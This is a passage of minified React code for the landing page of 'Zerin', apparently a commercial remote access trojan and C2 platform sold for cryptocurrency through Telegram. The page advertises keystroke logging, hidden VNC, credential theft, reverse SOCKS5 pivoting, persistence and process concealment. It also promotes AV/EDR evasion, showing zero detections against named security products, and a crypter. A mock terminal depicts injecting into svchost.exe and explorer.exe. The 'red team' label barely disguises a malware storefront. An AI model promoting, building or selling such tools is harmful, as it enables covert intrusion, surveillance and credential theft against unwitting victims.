24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],a_=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function Bs({value:e,label:t,suffix:n="",prefix:r=""}){const i=m.useRef(null),s=m.useRef(null);return m.useEffect(()=>{const o=i.current,l=s.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const p=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=p,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),a.jsxs("div",{ref:i,className:"text-center",children:[a.jsxs("div",{ref:s,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),a.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const s_=m.memo(function({name:t,delay:n}){return a.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[a.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),a.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[a.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),o_=m.memo(function({feature:t,index:n}){return a.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),a.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),a.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),a.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),a.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function l_(){const e=r_("Adversary Simulation. Red Team Operations.",45,600),[t,n]=m.useState(!1),[r,i]=m.useState(null),[s,o]=m.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=m.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);m.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=m.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx(n_,{}),s&&a.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[a.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[a.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),a.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[a.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),a.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),a.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),a.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",a.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xt,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(xt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(xt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),a.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),a.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[a.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),a.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),a.jsx("div",{className:"h-8 mb-8",children:a.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[a.jsx("span",{ref:e.spanRef}),a.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),a.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),a.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[a.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Access"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(xt,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),a.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),a.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),a.jsx("section",{className:"relative z-10 py-28 px-6",children:a.jsxs("div",{className:"max-w-5xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-14",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",a.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),a.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[a.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),a.jsxs("div",{children:[a.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),a.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),a.jsxs("div",{className:"text-right",children:[a.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),a.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),a.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),a.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),a.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:a_.map((u,d)=>a.jsx(s_,{name:u,delay:d*60},u))})]}),a.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>a.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[a.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:a.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),a.jsxs("div",{children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:a.jsx("div",{className:"max-w-5xl mx-auto",children:a.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),a.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),a.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[a.jsxs("div",{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",a.jsx("span",{className:"text-zerin-accent",children:"active"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",a.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:a.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),a.jsxs("div",{children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),a.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),a.jsx("section",{className:"relative z-10 py-24 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),a.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:i_.map((u,d)=>a.jsx(o_,{feature:u,index:d},u.tag))})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:a.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[a.jsx(Bs,{value:256,suffix:"-bit",label:"Encryption"}),a.jsx(Bs,{value:12,suffix:"",label:"Persist Methods"}),a.jsx(Bs,{value:100,suffix:"%",label:"C2 Uptime"}),a.jsx(Bs,{value:0,suffix:"",label:"Disk Artifacts"}),a.jsx(Bs,{value:48,suffix:"",label:"Modules"})]})}),a.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),a.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[a.jsx("div",{className:"group relative",children:a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:a.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),a.jsxs("div",{className:"group relative",children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 